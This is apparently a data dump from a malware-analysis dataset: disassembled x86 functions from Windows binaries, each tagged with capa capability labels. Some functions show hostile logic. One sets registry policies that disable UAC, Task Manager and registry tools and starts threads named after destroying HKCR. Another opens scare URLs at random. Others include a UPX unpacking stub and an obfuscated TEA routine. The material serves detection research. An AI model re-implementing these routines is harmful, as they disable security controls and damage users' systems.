joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100426b5
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x100426ce
or eax, 0xffffffff
jmp 0x1004272f
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x1004272b
push 0x3d
push esi
call fcn.10042cc3
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x1004272b
cmp esi, eax
je 0x1004272b
xor ecx, ecx
cmp byte [eax + 1], cl
mov eax, dword [0x100558a0]
sete cl
cmp eax, dword [0x100558a4]
mov dword [ebp - 4], ecx
jne 0x10042711
mov edi, eax
call fcn.10042654
mov dword [0x100558a0], eax
cmp eax, ebx
jne 0x1004276a
cmp dword [ebp + 0xc], ebx
je 0x10042733
cmp dword [0x100558a8], ebx
je 0x10042733
call fcn.10041776
test eax, eax
je 0x1004276a
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 4], ebx
je 0x1004273c
xor eax, eax
jmp 0x1004272e
push 4
call fcn.10036cbb
cmp eax, ebx
pop ecx
mov dword [0x100558a0], eax
je 0x1004272b
mov dword [eax], ebx
cmp dword [0x100558a8], ebx
jne 0x1004276a
push 4
call fcn.10036cbb
cmp eax, ebx
pop ecx
mov dword [0x100558a8], eax
je 0x1004272b
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
mov ebx, dword [0x100558a0]
sub edi, esi
push esi
call fcn.10042607
mov edi, eax
test edi, edi
pop ecx
jl 0x100427d1
cmp dword [ebx], 0
je 0x100427d1
lea esi, [ebx + edi*4]
push dword [esi]
call fcn.10036373
xor eax, eax
cmp dword [ebp - 4], eax
pop ecx
jne 0x100427b1
mov ecx, dword [ebp - 8]
mov dword [esi], ecx
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x10042812
mov ecx, dword [esi + 4]
inc edi
mov dword [esi], ecx
lea esi, [ebx + edi*4]
cmp dword [esi], eax
jne 0x100427a8
mov eax, edi
shl eax, 2
push eax
push dword [0x100558a0]
call fcn.10036e1d
test eax, eax
mov esi, dword [ebp - 8]
pop ecx
pop ecx
je 0x10042812
jmp 0x1004280d
cmp dword [ebp - 4], 0
jne 0x10042879
test edi, edi
jge 0x100427e1
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x100558a0]
call fcn.10036e1d
test eax, eax
pop ecx
pop ecx
je 0x1004272b
lea ecx, [eax + edi*4]
and dword [ecx + 4], 0
mov dword [ecx], esi
mov ecx, dword [ebp + 8]
and dword [ecx], 0
mov dword [0x100558a0], eax
cmp dword [ebp + 0xc], 0
je 0x10042864
push esi
call fcn.10038d10
inc eax
inc eax
push eax
call fcn.10036cbb
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x10042864
push esi
push edi
call fcn.1003c0d0
mov eax, edi
sub eax, esi
add eax, dword [ebp - 0xc]
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov byte [eax], 0
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x1004285d
or dword [ebp - 0x10], 0xffffffff
push edi
call fcn.10036373
pop ecx
cmp dword [ebp - 4], 0
je 0x10042871
push esi
call fcn.10036373
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x1004272e
push esi
call fcn.10036373
mov eax, dword [ebp + 8]
and dword [eax], 0
pop ecx
jmp 0x10042738
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x41504c], 1
mov dword [0x415050], 1
mov dword [0x415054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x401670
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov dword [ebp - 0x28], str.https:__google.com_search_qithinkmypchasavirus
mov dword [ebp - 0x24], str.https:__en.softonic.com
mov dword [ebp - 0x20], str.https:__malwarebytes.com
mov dword [ebp - 0x1c], str.https:__google.com_search_qpleasehelpmycomputerhasavirus
mov dword [ebp - 0x18], str.https:__google.com_search_qnoescape.exedownload
mov dword [ebp - 0xc], 0
mov eax, 0x4e20
sub eax, dword [ebp - 0xc]
mov ebx, eax
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x5dc
mov eax, ecx
sub eax, edx
sub ebx, eax
mov edx, ebx
cmp edx, 0x1387
jle 0x401713
mov eax, 0x4e20
sub eax, dword [ebp - 0xc]
mov ebx, eax
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x5dc
mov eax, ecx
sub eax, edx
sub ebx, eax
mov edx, ebx
jmp 0x401718
mov edx, 0x1388
mov dword [ebp - 0x10], edx
call sym._rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 1
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov edx, eax
shl edx, 2
add edx, eax
mov eax, ecx
sub eax, edx
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str._WEB_THREAD__Waiting:__dms__site__s_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
add dword [ebp - 0xc], 0x1f4
jmp 0x4016a1
Function at 0x4018cc
Capabilities:
Create thread
Disable system features via registry on windows
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [esp + 0x20], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x20006
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x10]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._WebsiteThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MouseMessThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._DestroyHKCR_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x402130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x402d04
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402d23
mov eax, 0
jmp 0x402d67
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402d46
mov eax, 0
jmp 0x402d67
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402d62
mov eax, 0
jmp 0x402d67
mov eax, 1
leave
ret

Function at 0x402d69
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402dc8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402dc0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402dc0
mov eax, dword [ebp - 4]
jmp 0x402ddc
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402d9d
mov eax, 0
leave
ret
Function at 0x5fb830
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19e000]
push edi
jmp 0x5fb84a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5fb851
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb840
mov eax, 1
add ebx, ebx
jne 0x5fb863
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5fb874
jne 0x5fb893
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb893
dec eax
add ebx, ebx
jne 0x5fb880
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5fb858
add ebx, ebx
jne 0x5fb88f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5fb8e5
xor ecx, ecx
sub eax, 3
jb 0x5fb8ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5fb91a
sar eax, 1
mov ebp, eax
jmp 0x5fb8b6
add ebx, ebx
jne 0x5fb8b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb884
inc ecx
add ebx, ebx
jne 0x5fb8c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb884
add ebx, ebx
jne 0x5fb8d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5fb8c6
jne 0x5fb8e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5fb8c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5fb904
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5fb8f6
jmp 0x5fb846
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5fb904
add edi, ecx
jmp 0x5fb846
pop esi
mov edi, esi
mov ecx, 0x40d6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5fb922
cmp byte [edi], 0x11
jne 0x5fb922
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5fb927
lea edi, [esi + 0x1f4000]
mov eax, dword [edi]
or eax, eax
je 0x5fb99f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x311b14]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x311c90]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5fb954
mov ecx, edi
jns 0x5fb983
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x311c94]
or eax, eax
je 0x5fb999
mov dword [ebx], eax
add ebx, 4
jmp 0x5fb971
call dword [esi + 0x311ca4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5fb9d0
cmp al, 0xef
ja 0x5fb9c3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5fb9a5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5fb9b2
mov ebp, dword [esi + 0x311c98]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5fba04
sub esp, 0xffffff80
jmp 0x4204f7
Function at 0x4072ee
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x14], 0
push ebx
mov ebx, ecx
lea ecx, [ebp - 0x14]
push esi
mov esi, edx
mov dword [ebp - 0x38], ebx
push edi
mov eax, dword [ebx]
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [esi]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x34], eax
call fcn.00407232
mov edi, dword [ebp - 0x14]
mov eax, dword [esi + 8]
add edi, 0x23f
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0xc]
push 0x20
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x2c], eax
pop esi
mov dword [ebp - 0x20], 2
add dword [ebp - 0x20], 3
mov edx, dword [ebp - 0xc]
mov eax, edx
mov ecx, dword [0x1a28544]
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x407376
push 0x4011fc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, dword [0x1a28544]
add eax, dword [ebp - 0x28]
cmp ecx, 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x1a28588]
mov dword [ebp - 0x24], 0xedeb2e40
cmove eax, dword [ebp - 0x24]
and dword [ebp - 0x24], 0
cmp ecx, 0x3eb
mov dword [0x1a28588], eax
mov eax, dword [0x1a28590]
cmove eax, dword [ebp - 0x24]
mov dword [0x1a28590], eax
lea eax, [edi + edx]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x1a2858c], 0xf4ea3dee
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x1c]
sub ebx, eax
mov dword [ebp - 8], eax
mov eax, ebx
mov dword [ebp - 0x1c], ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov eax, ebx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
xor dword [ebp - 4], eax
cmp dword [0x1a28544], 0xb03
jne 0x40744d
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push 0x401200
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0xc], eax
add edi, 0x61c88647
mov dword [ebp - 0x14], edi
dec esi
jne 0x40733e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x38]
pop edi
pop esi
mov dword [ebx], eax
mov eax, dword [ebp - 0x24]
mov dword [ebx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407497
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
shr esi, 3
push edi
mov edi, ecx
test esi, esi
je 0x4074d5
cmp dword [0x1a28544], 0x959
jne 0x4074c5
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.004072ee
add edi, 8
dec esi
jne 0x4074a7
pop edi
pop esi
pop ebp
ret 4
Function at 0x410cbf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x435730]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a8e3
mov dword [ebp - 0x14], eax
cmp dword [0x1a29328], esi
jne 0x410db2
push 0x800
push esi
push 0x4051cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x410d3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410e92
push esi
push esi
push 0x4051cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x410e92
push 0x4051e4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410e92
push eax
call ebx
push 0x4051f0
push edi
mov dword [0x1a29328], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405200
push edi
mov dword [0x1a2932c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405214
push edi
mov dword [0x1a29330], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1a29338], eax
test eax, eax
je 0x410daf
push 0x405230
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1a29334], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x410dd7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410dca
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x410dec
push 4
pop eax
jmp 0x410e94
cmp dword [ebp - 0x14], esi
je 0x410dec
push dword [0x1a29328]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x410dd1
mov eax, dword [0x1a29334]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x410e4a
cmp dword [0x1a29338], edi
je 0x410e4a
push eax
call ebx
push dword [0x1a29338]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x410e4a
test eax, eax
je 0x410e4a
call ecx
test eax, eax
je 0x410e3f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x410e3f
test byte [ebp - 8], 1
jne 0x410e4a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x410e7a
mov eax, dword [0x1a2932c]
cmp eax, edi
je 0x410e77
push eax
call ebx
test eax, eax
je 0x410e77
call eax
mov esi, eax
test esi, esi
je 0x410e77
mov eax, dword [0x1a29330]
cmp eax, edi
je 0x410e77
push eax
call ebx
test eax, eax
je 0x410e77
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1a29328]
call ebx
test eax, eax
je 0x410e92
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x410e94
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409e8e
mov esp, ebp
pop ebp
ret
Function at 0x4b9601
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c1338
cmp edx, dword [eax]
je 0x4b9623
add eax, 8
inc ecx
cmp eax, 0x4c13c8
jl 0x4b9614
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c1338]
jne 0x4b9751
mov eax, dword [0x4c5cbc]
cmp eax, 1
je 0x4b972b
test eax, eax
jne 0x4b9654
cmp dword [0x4c1264], 1
je 0x4b972b
cmp edx, 0xfc
je 0x4b9751
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b968b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004b9fe0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004ba470
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b96ce
lea eax, [ebp - 0x1a4]
push eax
call fcn.004ba470
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4be9c4
push edi
call fcn.004bc340
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004b9fe0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004b9ff0
lea eax, [ebp - 0xa0]
push 0x4be9a4
push eax
call fcn.004b9ff0
push dword [esi + 0x4c133c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004b9ff0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bc2b4
add esp, 0x2c
pop edi
jmp 0x4b9751
lea eax, [ebp + 8]
lea esi, [esi + 0x4c133c]
push 0
push eax
push dword [esi]
call fcn.004ba470
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret